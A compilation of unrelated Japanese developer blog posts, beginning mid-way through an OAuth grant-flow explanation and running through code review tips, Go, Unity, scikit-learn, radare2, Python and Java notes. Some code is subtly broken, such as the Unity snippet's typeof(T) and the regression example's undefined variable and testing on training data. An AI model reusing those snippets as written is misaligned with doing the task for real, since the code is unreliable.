**[認可コードフロー](https://tools.ietf.org/html/rfc6749#section-4.1)**については、『[4.1.3. Access Token Request](https://tools.ietf.org/html/rfc6749#section-4.1.3)』に _"If the client type is confidential"（クライアントタイプが confidential の場合）_ という表現があることから、逆に Confidential ではない場合も存在することが分かりますので、Confidential クライアントも Public クライアントも認可コードフローを使ってもいいことが分かります。[Financial-grade API](https://openid.net/wg/fapi/) の仕様をみても、このことは明らかです。

**[インプリシットフロー](https://tools.ietf.org/html/rfc6749#section-4.2)**は、トークンリクエストを行わないので、クライアント認証をおこなう機会がありません。結果としてクライアントシークレットを使う機会がありません。しかしこれは、必ずしもクライアントが Public クライアントである、または Public クライアントでなければならない、という意味ではありません。『[3.1.2.2. Registration Requirements](https://tools.ietf.org/html/rfc6749#section-3.1.2.2)』に _"Confidential clients utilizing the implicit grant type"（インプリシットフローを使う confidential クライアント）_という表現があることからも、Confidential クライアントがインプリシットフローを使うケースも想定されていることが分かります。

**[リソースオーナーパスワードクレデンシャルズフロー](https://tools.ietf.org/html/rfc6749#section-4.3)**については、認可コードフローと同様、『[4.3.2. Access Token Request](https://tools.ietf.org/html/rfc6749#section-4.3.2)』に _"If the client type is confidential"（クライアントタイプが confidential の場合）_ という表現があることから、逆に Confidential ではない場合も存在することが分かりますので、Confidential クライアントも Public クライアントもリソースオーナーパスワードクレデンシャルズフローを使ってもいいことが分かります。

**[クライアントクレデンシャルズフロー](https://tools.ietf.org/html/rfc6749#section-4.4)**については、『[4.4. Client Credentials Grant](https://tools.ietf.org/html/rfc6749#section-4.4)』に明示的に _"The client credentials grant type MUST only be used by confidential clients."（クライアントクレデンシャルズフローを使えるのは confidential クライアントのみ）_と書かれているので、Public クライアントはクライアントクレデンシャルズフローを使ってはいけません。

**クライアントはどれか一つのフローしか使ってはいけない、というわけではありません。**このことは、『[OpenID Connect Dynamic Client Registration 1.0](https://openid.net/specs/openid-connect-registration-1_0.html)』の『[2. Client Metadata](https://openid.net/specs/openid-connect-registration-1_0.html#ClientMetadata)』が定義する `grant_types` メタデータに、クライアントが使用する可能性のあるフローを**複数**列挙できることからも明らかです。

例えば、Confidential クライアントは、ある時はクライアントクレデンシャルズフローを使ってもよいですし、またある時はインプリシットフローを使ってもかまいません。このケースにおいて、誤解を引き起こす要因があるとすれば、インプリシットフローではクライアント認証をおこなう機会がないので、そのことが、「Public クライアントはトークンエンドポイントでクライアント認証をおこなわない」と似ている点です。そのため、「インプリシットフローを使うクライアントは Public クライアント」と勘違いされることがあります。

クライアントはどれか一つのフローしか使ってはならないと思い込んでいると、フローとクライアントタイプの関係を勘違いしてしまうので、注意してください。
艦これを開きながら開発するとき、ブラウザ負荷を下げる方法

スケジュール管理やちょっとした文法チェッカー等、開発中にブラウザで動作する諸々のツールを立ち上げっぱなにしにすることは多いと思う。

都度閉じるのはナンセンスだし、だからといって、放置してるだけでもCPUを勝手に持ってくものがすくなくなく、マシンパワーに余裕がない場合は見過ごせない。

で、お手軽に負荷を抑える方法があったので、メモ。

__結論としては、空のタブを作って、アクティブタブをそれに切り替える。以上。__

![スクリーンショット 2018-10-22 5.15.14.png](https://qiita-image-store.s3.amazonaws.com/0/6047/cdb29d8d-a5f9-ffaf-5679-136b0f9d686f.png)

艦これをやりながら、開発してて、放置時にCPUが爆熱で発狂したので、メモ。
コードレビューを行う時に意識したいこと

![code_quality.png](https://qiita-image-store.s3.amazonaws.com/0/303786/53484842-4e44-5ca3-301d-26c5a173221c.png)
[xkcdより](https://xkcd.com/1513/)

# 概要

コードレビューもスキルなので向上させばさせるほど結果が出ます。
レビューのスキルをあげるために以下を意識してレビューを行います。

# 参考

以下の記事から一部を引用しています。
https://css-tricks.com/code-review-etiquette/
https://qiita.com/necojackarc/items/0efa125ce1ea90e739f0

# コードレビューの目的

[「テストとコードレビューの目的」から引用（一部省略）](https://qiita.com/necojackarc/items/0efa125ce1ea90e739f0#%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%AE%E7%9B%AE%E7%9A%84)

* ソフトウェア品質の向上および属人性の排除
* スキルの向上及びナレッジの共有
* 担当者の実装レベルの把握と向上（教育的観点）
* 他人のコードを読むことによって学びや発見を得ること
* 開発者同士のコミュニケーションの活発化

# 意識すること

## レビューするのは人じゃなくてソース

### NG

```
ここでリターンしてください。
教科書が会社においてあるのでもう少し勉強しといてください。
```
* 人をレビューしている
* 勉強してって言われても具体的に何を勉強すればいいか伝えられていない。次のアクションがわからない。
* そこでリターンする意味が伝えられていない。

### GOOD
```
こういう書き方だとstuffがすでに処理済みの時はcalculateStuff()まで行かないで
リターンするので不必要な処理が省かれます

  if (stuffAlreadyProcessed) return stuff
  // process stuff
  return processedStuff
```
* ソースをレビューしてる
* どうすればいいか伝わる
* なんでそれをやるか伝わる
* サンプルもある

## レビューをもらっている人が【何をやるか】【なんでそれをやるか】【次のアクション】がわかるように

### NG

```
ここでapi使えばどう？
```

* どのapi？
* なんで？

### GOOD

```
Apache CommonsのListUtilsに
public static <T> List<List<T>> partition(List<T> list, int size)
というメソッドがあります！

[ドキュメントのリンク]

APIを使ったら「こっちでソース・ドキュメントをメンテしなくていい」というメリットがありますが、
導入してみたらどうですか？APIドキュメントを読んでも使い方がわからなかったら私に聞いてくださいー
```

* どのapiのことか・どの関数のことかわかる
* ドキュメントのリンクもある
* apiを使うメリットが伝わる
* 次のアクションがわかる
 * ドキュメント読んでライブラリーを追加してソースを修正する。
 * 一人でわからない場合はレビューを行なった人に聞く

## 自分が勉強になったこと・面白かったことも

コードレビューはQAでありながら開発者同士のコミュニケーションでもありますので指摘だけじゃなくて

```
僕はいつもこういうの自分で一から実装しますがapiありましたね！
(apiのリンク)
勉強になりました！
```

```
最初ソースわからなかったから調べてみたんですけどscalaのここがめっちゃ便利ですね。
(ドキュメントのリンク)
ありがとうございます！
```

```
僕もちょうどこういうの作ろうとしてるんですが中々実装ができなくて。。
(コミット・diffなどのリンク)
あとで相談させてください！
```

も書きます。


## いろんなやり方があるって意識する

### NG

```
Library Aを使ったほうがいいです。
```

* 事実と意見を区別できてない

### GOOD

```
処理がはやくてapiドキュメントも充実してるので僕はいつもLibrary Aを使うんだけど
Library Bはどんな感じですか？
```

* Aのメリットを伝える
* Bのメリットを聞く
* Aのほうが本当にBよりいいのか判断しやすくなる

# 2018-10-24 追加

## レビューの指摘コメントにタグをつける

[コードレビューを効率化するちょっとした工夫](https://qiita.com/yotsak83/items/6cfe6c57d003d0926973)を読んでタグの使い方とメリットを覚えました。詳細はリンク先の記事を読んでいただきたいですが、ざっくりいうと

* レビューの指摘コメントにラベルをつけることでコメント対応の優先度をつけたりできます。
 * [MUST] 必ず直すべきです。
 * [IMO] 私はこう思います。こうした方が良いのでは？ 意見や緩やかな指摘。
 * [nits]ほんの小さな指摘。インデントミスなど細かいところに。
* 具体的な使い方と他のメリットは [コードレビューを効率化するちょっとした工夫](https://qiita.com/yotsak83/items/6cfe6c57d003d0926973)をご参照ください。

## 自動コードフォーマットツールを導入

* まわりにいるエンジニアに「コードレビューどうしてるの？」と聞いてみたら「自動コードフォーマットツールも入れたほうがいいよー」と教えていただきました。
  * たとえばScalaだったら[Scalafmt](https://scalameta.org/scalafmt/)
  * コードのインデントなど自動的に直してくれるのでコードレビューのノイズになりがちな`[nits]`が減ります
  * ツールができる仕事をツールに任せることで人間の仕事に集中できる時間が増えます
Golangでアナグラム2（未完成）

# お題
子どもの宿題で「Frankenstein」に含まれる文字を使って別の英単語をできるだけたくさん見つけるというものが出されたので、プログラムで解いてみようと思った。
[前回](https://qiita.com/sky0621/items/8ebd2a1675f0d259934b)は、当初予定していた単語「Frankenstein」(12字)を試す前の「Frankenste」(10字)の時点で `88秒` かかり、12字の方はメモリが足りず計測不可だった。
今回は、とりあえず無駄なループ数を減らす対応をしてみる。

# 開発環境
[前回](https://qiita.com/sky0621/items/8ebd2a1675f0d259934b#開発環境)踏襲

# 実践

## ■無駄なループ数を減らす
前回のは、最初に単語を与えられたら、その文字数分のループを繰り返し、重複する単語は（重複を受け付けない（＝重複分が追加されても無視される））セットを定義して追加していく方式にした。
例えば、「ant」なら「a」「n」「t」に分割し、１字ずつループで処理していく中で、「a」の１字につき、さらにループで「a」「n」「t」を１字ずつループ処理し、これまたさらに「a」１字につき、ループで「a」「n」「t」を処理するため、３字なら３✕３✕３＝２７回ループが回る。
その結果、「Frankenstein」どころか「Frankenste」(10字)で１０✕１０✕．．．✕１０＝１００億回ループとなり、さすがにけっこうな時間がかかる結果となった。

今回は、10字なら10字でループを回すのはいいとして、１字ピックアップしたら、その１字に加える１字を選択するループは10字を回すのではなく（選択した１字を除いた）9字を回す方式にした。ただ、それだけ。
こうすると、先の「ant」なら３✕２✕１＝６回ループとなり、前回の方式の４分の１程度のループ数に減らせる。
「Frankenste」(10字)にしても、１０✕９✕８✕．．．✕１＝3,628,800回ループとなり、段違いにループ回数を減らせる。

### 実装
ソースの全量は下記。
https://github.com/sky0621/compito/blob/7a224c28f55b84ded52456b4e1e397643fdde062/main.go

まあ、単純で、再帰で組み合わせをセットに格納していくたびに、スライスを今処理中の字を除くものにしていくだけ。

```
func addWord(set *set, characters []string, parentChar string) {
	chLen := len(characters)
	for i, c := range characters {
		set.add(fmt.Sprintf("%s%s", parentChar, c))
		cpCharacters := make([]string, chLen, chLen)
		copy(cpCharacters, characters)
		addWord(set, getRemaining(cpCharacters, i), fmt.Sprintf("%s%s", parentChar, c))
	}
}

func getRemaining(characters []string, index int) []string {
	if characters == nil {
		return nil
	}
	if len(characters) <= index {
		return nil
	}

	before := characters[:index]
	after := characters[index+1:]
	return append(before, after...)
}
```

### 結果

#### ◆「Frankenste」(10字)

```
===========================
最初から単語の組み合わせ作成まで 11.876701秒
最初から最後の標準出力まで       20.184065秒
===========================
```

組み合わせの作成の処理時間が前回の８分の１になった。

#### ◆「Frankenstei」(11字)
前回は試していないけど、もう１字追加するとどれくらいかかるか。

```
===========================
最初から単語の組み合わせ作成まで 151.009902秒
最初から最後の標準出力まで       271.952606秒
===========================
```

パフォーマンス改善したと言っても、やはり１字追加でここまで変わる。

#### ◆「Frankenstein」(12字)
11字の結果から、やはりダメな気がするけど、最後に「Frankenstein」(12字)を試してみる。

```
$ go run main.go Frankenstein
word:Frankenstein
aryWords:[a e e f i k n n n r s t]

signal: killed
```
ダメだった。

# まとめ
ループ数を減らしてパフォーマンス改善したものの、12字を解析するにはメモリの問題でまだ不足。
goroutine使う案も少し試してみたもののメモリ使う意味では解決せずなので、いよいよローカル端末では限界か。。。
Azureでデプロイしたサーバにmacからログインする

Azureで作成したSQL ServerインスタンスにGUIで接続したい。


#目的
macOSからAzureデプロイにアクセスしたい。
毎回WebブラウザからAzureダッシュボードに接続するのは面倒。

#解決方法

##Azure Data Studio

マイクロソフト提供のmacからDBアクセスできるクライアントです。

###インストール方法

1.下記URLにして最新版をダウンロードする。
https://docs.microsoft.com/ja-jp/sql/azure-data-studio/download?view=sql-server-2017

![スクリーンショット 2018-10-22 0.53.29.png](https://qiita-image-store.s3.amazonaws.com/0/139650/878e69bd-914f-db3f-3653-19f93a8e7610.png)
![スクリーンショット 2018-10-22 0.53.55.png](https://qiita-image-store.s3.amazonaws.com/0/139650/a44a2bae-230e-967f-202b-58c1742d3df2.png)

2.解答したアプリケーションをApplicationフォルダにコピー。

![スクリーンショット 2018-10-22 1.01.14.png](https://qiita-image-store.s3.amazonaws.com/0/139650/463a7c5c-9164-e7a2-cb95-f6180c4abac1.png)


3.初回起動
初回起動時にDBのあるサーバの情報名を入力。下記が入力必須のため、あらかじめメオしておくとよい。
- サーバ名
- サーバユーザ名
- サーバーパスワード
- デフォルトデータベース

※サーバ名と、サーバユーザ名、サーバパスワードを入力すると、アプリからサーバにアクセス可能にする設定完了。
アプリ Azure Wwb StudioとAzureサーバを繋げる、認証番号が発行されるます。
証明番号をAzureの設定画面で入力する。
ソフトスキルも忘れずに

# 概要

ソフトスキルをもうちょっと上げたいなぁと思う僕がこれから意識するガイドライン。気づきなどがあった時随時更新します。

## Be Kind

Nice・Politeとは違います。

### 例えばコードレビューのコメントだとこういう感じ

#### 普通

API使えばどう？

#### Polite

APIを使っていただけますでしょうか？

#### Nice

完璧！！

#### Kind

Apache CommonsのListUtilsに
`public static <T> List<List<T>> partition(List<T> list, int size)`
というメソッドがあります！
[ドキュメントのリンク](https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/ListUtils.html#partition-java.util.List-int-)

APIを使ったら「こっちでソース・ドキュメントをメンテしなくていい」というメリットがありますが、導入してみたらどうですか？APIドキュメントを読んでも使い方がわからなかったら私に聞いてくださいー

## Be a Resource

相手に何か聞かれた時答えれることであれば答えます。聞かれていない時は邪魔しないで相手に自分のやり方でやっていただきます。

## 自分にも優しく

「忙しい？」と聞かれた時自分の負担を把握した上で正直に答えます。

## 事実と意見を区別する

### NG

Library Aを使ったほうがいいです。

### GOOD

処理がはやくてAPIドキュメントも充実してるので僕はいつもLibrary Aを使うんだけど
Library Bはどんな感じですか？
[Unity][Timeline] トラックに設定できるPlayableAssetの型情報を取得する

## 初めに
独自トラックの実装をする際に、任意の`PlayableAsset`をクリップに持たせることができます
これの指定は独自トラックのクラスを宣言する際に`TrackClipTypeAttribute`を設定することで利用することができます

```csharp:SampleTrack.cs
using UnityEngine.Timeline;

[TrackClipType(typeof(SamplePlayableAsset))] // これによりTimelineClipが持つPlayableAssetを指定できる
public class SampleTrack : TrackAsset
{
    // 省略
}
```
```csharp:SamplePlayableAsset.cs
// TrackClipTypeAttributeで設定されたトラックのクリップにAsset情報として紐付けられるようになる
public class SamplePlayableAsset : PlayableAsset
{
    // 省略
}
```

今回はこの`TrackClipTypeAttribute`で指定した`PlayableAsset`の型情報をトラックの型情報から取り出す方法を紹介します

とは言ってもC#の標準的な機能を使うだけですが…

## `GetCustomAttributes` を使う

`System.Reflection` の機能として`Attribute`の情報を取ってこれるメソッドが用意されているのでそれを使いましょう

```csharp
public static Type[] GetClipTypes<TTrack>() where TTrack : TrackAsset
{
    return typeof(T).GetCustomAttributes(typeof(TrackClipTypeAttribute), true)
        .Cast<TrackClipTypeAttribute>()
        .Select(attr => attr.inspectedType)
        .ToArray();
}
```

## 最後に
ちらっとRelease Noteを見ただけで間違っているかもなのですが、Unity2018.1あたりからこの`TrackClipAttribute`で複数の`PlayableAsset`を指定できるようになっているみたいなので、独自で機能を拡張する際にはここらへんを操れるようになっていると幅が広がりそうです

~~実は`TrackAsset`に`internal`で上記と似たようなメソッドが定義されているのですが、なぜ`public`にしないのか~~
株価をscikit-learnで機械学習してみる　回帰編

※[前回](https://qiita.com/soshi8/items/8102fdda8a0b322dd6b5)を踏まえて今回は回帰を行います。

#目的
過去４日分を参考に日経平均を予測します。

#株価データの読み込み
松井証券のcsvから終値を読み込みます。ここは同じです。

```
#coding: UTF-8
import pandas as pd
stock_data = pd.read_csv('stockchart_20180909.csv')
owarine = stock_data[['終値']]
```

分類編では前日との差/100を結果としましたが、今回は当日の日経平均を結果とします。

```
successive_data = []
answers = []
for i in range(4, count_s):
    successive_data.append([owarine[i-4], owarine[i-3], owarine[i-2], owarine[i-1]])
    answers.append(owarine[i] )
```

学習します。

```
reg = LinearRegression().fit(successive_data, answers)
```

前回と同じく同じデータでテストします。

```
predicted = reg.predict(successive_data)
```

#まとめ
結果を表示します。
計算値と実際値の誤差をグラフにしました。
![LinerReg_result1.jpg](https://qiita-image-store.s3.amazonaws.com/0/248083/f5dea5ef-5ddd-2bbb-2055-481c8a9a4a95.jpeg)

5%以上の誤差が出たのは7件でした。

## ソース
https://github.com/soshi8/finance1/blob/master/LinerRegression_1.py
初心者がradare2でアセンブラ解析始めてみた

#始めに
初めまして、Columbineと言います。
2ヶ月ほど前にセキュリティキャンプで会った人にバイナリの面白さを布教されバイナリアンになるべく勉強を始めております。
せっかくなのでそこで得た知識を皆さんに共有しておこうと書きました。
注)このQiitaは初心者向けですが、簡単な最低限の知識については面倒なので省略して説明します。(初心者向けとは)
また簡単に説明するのが目的なのでpush rbpなどのあまり中心の処理に関係のないところの説明は雑いです。

このブログ読む前に読むといい本
---
デバッガによるx86プログラム解析入門[x64対応版]
・これ読んでおけば最低限の知識は手に入ります。後半はデバッガの作り方とかでしたのでそこはさらっと読みましたが分かりやすくていい本です。
ハリネズミ本
・CTFと言ったらこれ。先ほどの本よりは難しめですがアセンブラ読めるようになってCTF始めたいという人は先に目を通しておくと、どんな事を勉強するといいかの指標になるかと思います。

簡単な変数への代入と出力
---
```python
//print.c
#include<stdio.h>

int main(void) {
    int hoge = 9999;
    printf("%d",hoge);
}
```
これをコンパイルします。
今回```-fno-stack-protector```というオプションを使うのですが、これは出力されるアセンブラを減らすためです。説明は省きます。
```gcc print.c -fno-stack-protector -o print.out
```

###今回使用するツールの使い方
今回はradare2というツールを使用します。githubにありますのでインストールしておいてください。
radare2で解析対象のプログラムを開きます。
```radare2 -dAA print.out```
これでradare2の中に入れたと思いますので以下のコマンドを順に入力してください。
```dcu main
V
p
```
これで以下の写真のような表示が出ると思います。

![4741823BAB89DC36822DE3B47FF48599.png](https://qiita-image-store.s3.amazonaws.com/0/305274/6a65af5c-20f9-06c9-9064-fc9975b23d0e.png)

さて、このプログラムを順に見ていきましょう。
注)メモリのアドレスは全部書くと長いので後ろから４つのみで表示する。

[1]
0x0f60〜0x0f64まではスタックポインタを使用する場所のアドレスに変更。

[2]
0x0f68〜0x0f79ではprintfで使用する引数を指定。
0x0f68では出力する型の"%d"をrdiに渡す。
0x0f6fではradare2によって名付けられたlocal_4hという変数に0x270fという値(10進数で9999)を渡し、0x0f76でesiに渡す。

[3]
0x0f7bの、call sym.imp.printfでprintf命令を呼び出す。
call命令の返り値はeaxに保持される。

[4]
0x0f80〜0x0f85は、返り値の処理とprintfの返り値をlocal_8hに収納する処理。
0x0f80で行われている　xor esi, esiはesiレジスタを0にする処理である。
0x0f85でeaxにesiの値(つまり0)を渡して関数の返り値とする。

[5]
0x0f87〜0x0f8cはスタックポインタのやベースポインタの値を元に戻し関数を終了させる。

[6]
この下にsys.imp.printfのプログラムがあるが今回は触れないでおく。

読むコツとしてはcall命令に気をつけて見るというのがあります。
今回はcall sys.imp.printfというのがあるのが分かっているので、「どんな引数がどうやって渡されているのか」ということに注目したら自然とコードにまとまりが見つけられて読みやすくなります。

今回引っかかった所
---
以前読んだ本ではsyscallの引数をスタックを通じて渡していたが、
今回のx64ビットバイナリだとrdi,rsi,rdx…とレジスタに順番に引数を入れていく形での受け渡しとなっていた。
そのため引数の渡し方がわからず手間取りました。

まとめ
---
radare2はまだ色々な機能があるので色々といじって見てください。
もっと色々なプログラムの解析した奴があるのでそれも載せようかと思ったのですが、思った以上に文量があったのでまた需要があったら載せることにします。

# (追記) 2018/10/24
###環境について
環境について述べていなかったので追記しました。
OS = macOS High Sierra
gcc =　clang-902.0.39.2
radare2 = 3.1.0-git
Full Body Biped IKをAddComponentしたらeffectorsが空になる

### 事の発端
Unityにおいて，動的に読み込んだVRMモデルをFinal IKのFull Body Biped IK(FBBIK)を使って手とか足の位置を制御したかった．
VRM読み込み時にFBBIKを`AddComponent`．
そのFBBIKの`leftHandEffector`とかの`target`を設定しようとしたら

``` cs
IndexOutOfRangeException: Index was outside the bounds of the array.
RootMotion.FinalIK.IKSolverFullBodyBiped.GetEffector (RootMotion.FinalIK.FullBodyBipedEffector effector) (at Assets/Externals/Plugins/RootMotion/FinalIK/IK Solvers/IKSolverFullBodyBiped.cs:194)
```

と怒られた．
FBBIKの`IKEffector[] effectors`が空のままになっているのが原因っぽい．
あらかじめインスペクタでFBBIKをアタッチしていると，この問題は発生しなかったので`AddComponent`した場合はインスペクタからのアタッチ時には行われる何かが行われていないっぽい．

### 結論
`AddComponent`した後に以下の処理を追加する．

``` cs
using RootMotion;


public FullBodyBipedIK fullBodyBipedIK;

fullBodyBipedIK = this.gameObject.AddComponent<FullBodyBipedIK>();

// ここから下の処理を追加

BipedReferences references = new BipedReferences();
BipedReferences.AutoDetectReferences(ref references, fullBodyBipedIK.transform, BipedReferences.AutoDetectParams.Default);
fullBodyBipedIK.SetReferences(references, null);
```


最初は肘曲げてないのが原因かな～とか思ってたけど違った．
あまり深く調査はしてないので参考までに．

### 参考
- [Full Body Biped IK](http://www.root-motion.com/finalikdox/html/page6.html)
- [Issues adding FBBIK and Head Effector via script](https://groups.google.com/forum/#!topic/final-ik/0gtnAIMBYnU)
2018年10月第3週　今週気になった記事まとめ

# 今週気になった記事まとめ
##■月250時間の残業がゼロに　G Suiteで生まれ変わったヤッホーブルーイングの働き方
http://www.itmedia.co.jp/enterprise/articles/1810/19/news009.html
グループウェアとしてはOffice365のほうが良いと思うけれど、Googleスプレッドシートは活用しても良いかもしれない。

##■株に1ミリも興味がない僕でも、VRトレーディングシステムには心を奪われた #CEATEC2018
https://www.gizmodo.jp/2018/10/ceatec-2018-vr-station.html
VRマルチディスプレイは憧れるなー。

##■個人や新人がサービス作った系
・初心者3人でwebサービス(webアプリ)を作ったので、立ち上げからリリースまでを時系列に書いていく
https://qiita.com/yuno_miyako/items/d6595719ae7065927499?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
・もっと気軽にアウトプットできる技術ブログサービス「Qrunch（クランチ）」をリリースした【個人開発】
https://qiita.com/c0domisu/items/95a561d163d26bbfe274
・新卒, Webサービスを作ってみた話
https://qiita.com/gjfcgmi/items/13df66a96e6193ba608a
・個人開発の高校野球ゲームが収益1,290万円超えるまでにやった3つのこと。引退かけたアプリ開発者が語る「課金収益10倍」ドラフト課金の思わぬ効果。
https://appmarketinglabo.net/furuapp-koushien/
一番下の記事は少し方向性が違うものの、全体的に技術が凄いとかではなく、気持ちが凄いという印象。

##■「口角が上がって素敵な笑顔だよ」――表情やメークを分析して会話するスマートミラー「novera」
http://www.itmedia.co.jp/news/articles/1810/11/news109.html
スマートスピーカーやAI系のジャンルで女性向けというものはありそうでまだ無かったので面白いな。

##■『ブレードランナー』の世界きた。Magic Leapが人間のようなAIアシスタント｢MICA（マイカ）｣を発表
https://www.gizmodo.jp/2018/10/magic-leap-ai-mica.html
顔が付くだけでグッと未来感が増す。

##■WikiLeaksが謎に包まれたAmazonのデータセンターの所在地を暴露、地図も公開
https://gigazine.net/news/20181012-amazon-alas/
謎に包まれた～って言うけどそこまでかな？
結構押さえられるポイントはありそうな気がするのだけれど。

##■偽ブランドがパリコレをだまして潜入し一流から注目されるようになるまでにやったこと
https://gigazine.net/news/20181015-faked-way-paris-fashion-week/
行動の良し悪しはあれとして、この営業力・広報力は学ぶものがある。

##■ウォズニアック氏、「エンジニアのあり方、スティーブ・ジョブズ、巨大企業の危険性」を語る
https://pc.watch.impress.co.jp/docs/news/1146756.html
なかなか触れられることがないけど、やはりエンジニアが１つの理想像として掲げるべきはジョブズではなくウォズだなと改めて。

##■エンジニアは全員技術記事を書くことを習慣化した方がいいぞ
https://qiita.com/HiromuMasuda0228/items/a71dea7ef4d77a30b118?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
人に説明して真に理解するという工程を記事を書くことで行うってことなんだろうな。

##■昼寝する人は「出来る人」　企業も注目
http://www.itmedia.co.jp/news/articles/1810/09/news051.html
自分は昼寝ではなく食後２～３時間後の夕方ちょっと前くらいに寝る時間がほしい。
どうやってもその時間のパフォーマンスは下がってしまうので。

##■レンタルスペースの受付業務を無人化するアプリ　スペイシーが提供開始
http://www.itmedia.co.jp/news/articles/1810/03/news144.html
２４時間営業のジムとかだと指紋認証もあるけど、TouchIDとかうまく使ってサービス化できたりしないのだろうか。（Androidで指紋系が無いのが厄介ではあるが）

##■2つの曖昧を具体的にして、できる人になる
http://mag.executive.itmedia.co.jp/executive/articles/1810/04/news010.html
物事の要素分解とやる気のためのメンタルの話。
なんとなくでやってたりするけど、こうやってちゃんと定義して理解したことは無かったかも。

##■「コミュ障」だった38歳平社員エンジニアが会社から資金調達できた理由
http://www.itmedia.co.jp/business/articles/1810/02/news008.html
途中の時点でコミュ障と言う割に普通以上にコミュ力あるように見えるのだが・・・。
ただ自分の嫌なことをやってくれるシステムという観点は面白いな。

##■人間レベルのAI、あと5〜10年で作れると40%の専門家が答える
https://www.gizmodo.jp/2018/09/agi-in-a-decade.html
今のAIのレベルとかここ数年の進化具合を見るとにわかには信じ難いのだが、専門家が言うことだからちゃんとした根拠があって算出しているんだろうな。

##■ペアプログラミングして気がついた新人プログラマの成長を加速する３つの習慣
https://qiita.com/KakkiiiiKyg/items/2d0920416a0e0187810d?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
なかなか業務の中で取り入れることは難しそうだけど、勉強会で取り入れるのはありかも。
とはいえ自分はお世辞にも模範的なプログラミングとは言えないので、やるなら新人側でやってみたいと思う。
[Python] イテレータを実装する

## イテレータとは
まず始めにイテレータとは何かを、実際に動かしてみて確認しましょう。
リストからイテレータを使用して要素を一つずつ取り出してみます。

```
>>> l = [0, 1, 2]
>>> it = iter(l)
```

リストlはイテレータではないので、要素を順番に取り出すために組み込み関数iter()を使用してイテレータオブジェクトを取得します。

```
>>> next(it)
0
>>> next(it)
1
>>> next(it)
2
```

イテレータオブジェクトは組み込み関数next()を使用すると要素を一つずつ取り出すことができます。

```
>>> next(it)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
StopIteration
>>>
```

そして、取り出す要素がなくなった場合にはStopIteration例外が発生します。
このようにしてリストから要素を一つずつ取り出すことができます。これがイテレータの使用方法になります。

しかし実際にはiter()やnext()は使用せず、以下の様にfor文を使用することが多いと思います。

```
>>> l = [0, 1, 2]
>>> for i in l:
...     print(i)
...
0
1
2
```

この場合、for文の内部でリストlからiter()によりイテレータを作成し、StopIterationが発生するまでnext()を呼び出し要素を一つずつとりだしています。そしてStopIterationが発生したらループ処理を終了します。

## イテレータを実装する
それではイテレータの機能を持つクラスを実装してみます。クラスにイテレータの機能を持たせるには、\_\_next\_\_()メソッドを持つオブジェクトを返却する\_\_iter\_\_()メソッドを定義すればイテレータとして動作します。
以下のクラスは0から指定した数までインクリメントした数を返却するクラスになります。

```python:sample_iterator.py
class SampleIterator(object):
    def __init__(self, num):
        self.num = num
        self.current = 0

    def __iter__(self):
        return self

    def __next__(self):
        if self.current == self.num:
            raise StopIteration()

        ret = self.current
        self.current += 1
        return ret
```

実際に使用してみます。最初はnext()を使用して呼び出します。

```
>>> from sample_iterator import SampleIterator
>>> si = SampleIterator(3)
>>> next(si)
0
>>> next(si)
1
>>> next(si)
2
>>> next(si)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
    raise StopIteration()
StopIteration
```

最初に行ったiter()を使用したものと同様の動作になりました。組み込み関数のnext()で呼ばれたときに\_\_next\_\_()メソッドが呼ばれていることがわかります。
次にfor文で使用してみます。

```
>>> from sample_iterator import SampleIterator
>>> si = SampleIterator(3)
>>> for i in si:
...     print(i)
...
0
1
2
```

\_\_iter\_\_()メソッドが最初に呼ばれ、その後\_\_next\_\_()メソッドが呼ばれています。

## まとめ
イテレータの機能を持つクラスを実装するには

* \_\_next\_\_()メソッドを持つ\_\_iter\_\_()メソッドを実装する
* \_\_next\_\_()メソッドは返却する要素がなくなったらStopIterationを発生させる

ソースコード[sample_iterator.py]
(https://github.com/tchnkmr/python_sample/blob/master/sample_iterator.py)
NullPointerExceptionを気にしない文字列比較


JavaでStringの文字列比較を行うとき、NulPointerExceptionを回避する書き方

```Java:
String s = null;
if("hello".equals(s)) {
    System.out.println("Hello!");
}
```
## 是非の考察
「**[文字列をequalsで判定する時](http://www.atmarkit.co.jp/bbs/phpBB/viewtopic.php?topic=43465&forum=12)**」にあるようにNullPonterException握りつぶしてるからよくないんじゃないかとかという意見もあります。

個人的にはこれまでコードを書いてきて、s=nullのときに例外として処理する必要があるケースはこれまでなかったので、~~この書き方がいいのではないかと思います。~~（学生身分で実務経験がないので、例外処理は疎いですが）

# 追記
様々なコメントをいただき、Nullチェックの重要性について改めて考えさせられました。今後Stringで文字列比較を行うときは、s.equals("hello")のようにし、nullチェックを行うようにしようと思います。

最後に貴重なコメントをいただきましたみなさまにお礼申し上げます。
私の未来予想図２０５０年

##私の２０５０年

この社会で、インターネットレボルーションと一緒に、リンガフランカという技術は、国際協力に向けての動きを牽引してきましたと、あの時に革新に関して様々な可能性がもう見つけました。それで、さらにもっともっと革新が可能性になりました。簡単なコミュニケーションの可能性で、様々な言語を話しても、国際関係や、ビジネスや、貿易が好転できました。例えば、異なる国会社は会議を開くことができるし、様々な国の学生が体験を共有することができるし、英語を補助言語として学ぶことが必要ではありません。ゆっくりだが確実にグローバリゼーションに達します。
こんな未来に、人種や、性別や、文化はもはや教育にとって支障ではありません。人々が一緒に勉強しているし、アイデアを作っているし、この社会は平和でありながら進歩的です。


#グローバリゼーション


定義がいっぱいありますが、「会社と他の組織が国際的な影響力を発揮して、国際規模でビジネスを開始するプロセス」という意味に信じています。

世界中の製品や、サービスや、アイデアや、革新を自由な流られます。
希望は、人々はお互いに、世界中の皆の力を使って、手伝うことができます。

###グローバリゼーションとは？なぜ私は大切していますか？
私の意見で、人生には一番大事なことが成長です。私の以前の経験では、何年の停滞（NEETとして）はいつも私の後悔でした。そのような経験だと、私は停滞の悪影響を理解しました。そして前に、私は自分の感じることをシェーアしたい時に、内向的な人だから、コミュニケーションをできなかったし、何もできませんでした。年を重ねるにつれて、やがてその困難に対処する方法を学びました。でもその体験ことをどこにももってきています。
